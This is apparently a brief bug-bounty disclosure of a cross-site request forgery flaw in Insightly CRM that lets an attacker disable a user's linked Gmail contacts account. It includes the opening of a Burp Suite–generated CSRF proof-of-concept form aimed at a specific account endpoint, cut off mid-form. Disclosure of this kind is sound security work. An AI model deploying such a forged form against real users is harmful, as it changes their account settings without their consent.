CSRF vulnerability allows disabling Gmail contacts link for user referrals

when user add ==Referrals== to his account use https://crm.na1.insightly.com/users/referrals he will get id to his linked account so when he try to disable the linked account in ==CONNECTED APPLICATION SETTINGS== in the end point https://crm.na1.insightly.com/users/usersettings ==request== contain …

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://crm.na1.insightly.com/Users/GoogleDisable/2026462">
      <input type="hidden" name="&#95;pjax" value="&#35;main" />
      <input type="submit" …